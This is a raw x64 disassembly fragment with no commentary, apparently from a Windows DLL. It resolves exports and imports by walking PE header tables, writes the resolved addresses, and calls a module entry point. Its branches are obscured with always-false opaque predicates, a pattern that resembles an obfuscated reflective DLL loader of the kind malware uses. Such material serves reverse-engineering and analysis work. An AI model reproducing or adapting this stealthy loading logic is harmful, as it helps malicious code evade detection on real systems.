call r9
add rsp, 0x20
mov r14, rax
mov eax, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002303
test edx, edx
je 0x180002303
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002291
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000253e
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800022c0
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002540
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdi, r9
add rcx, r9
mov esi, dword [rdi]
add rsi, r9
mov rbx, r13
movzx eax, byte [rbx]
movzx edx, byte [rsi]
test al, al
je 0x1800022f1
add rbx, 1
add rsi, 1
cmp al, dl
je 0x1800022db
cmp al, dl
je 0x18000216e
add rcx, 2
add rdi, 4
jmp 0x1800022d3
cmp ecx, 0xa
jl 0x180002310
test edx, edx
jne 0x18000254a
mov rdx, qword [rbp - 0x18]
mov ebx, dword [rdx]
mov edx, dword [rdx + 0x10]
add rbx, r15
mov qword [rbp - 0x20], rbx
add rdx, r15
mov qword [rbp - 0x10], rdx
mov rdx, qword [rbp - 0x20]
mov rdx, qword [rdx]
test rdx, rdx
je 0x180002518
mov rax, qword [rbp - 0x30]
add rax, rdx
test rdx, rdx
movzx r12d, dx
cmovns r12, rax
jmp 0x18000236d
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r12
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x18000239f
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002542
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800023ce
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002544
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x180002400
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800023ea
cmp al, bl
je 0x18000240e
add rcx, 2
add rdx, 4
jmp 0x1800023e1
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r12
call r9
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
mov eax, dword [0x180020a68]
mov ecx, dword [0x180020a64]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800024fb
test edx, edx
je 0x1800024fb
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800025d0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180002488
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002546
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x1800024b7
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002548
add r8, r9
mov edx, dword [r9 + rcx + 0x20]
mov ecx, dword [r9 + rcx + 0x24]
add rdx, r9
add rcx, r9
mov edi, dword [rdx]
add rdi, r9
mov rsi, qword [rbp - 0x28]
movzx eax, byte [rsi]
movzx ebx, byte [rdi]
test al, al
je 0x1800024e9
add rsi, 1
add rdi, 1
cmp al, bl
je 0x1800024d3
cmp al, bl
je 0x18000234b
add rcx, 2
add rdx, 4
jmp 0x1800024ca
add qword [rbp - 0x20], 8
add qword [rbp - 0x10], 8
cmp ecx, 0xa
jl 0x180002327
test edx, edx
je 0x180002327
jmp 0x18000254a
add qword [rbp - 0x18], 0x14
cmp ecx, 0xa
jl 0x180002154
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002154
jmp 0x180002137
jmp 0x18000253a
jmp 0x18000253c
jmp 0x18000253e
jmp 0x180002540
jmp 0x180002542
jmp 0x180002544
jmp 0x180002546
jmp 0x180002548
jmp 0x18000254a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a64], 0xa
jl 0x1800025b8
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800025b8
mov rsi, qword [rbp - 8]
mov eax, dword [rsi + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, r15
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a64], 0xa
jl 0x1800025b8
mov eax, dword [0x180020a68]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000257e
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret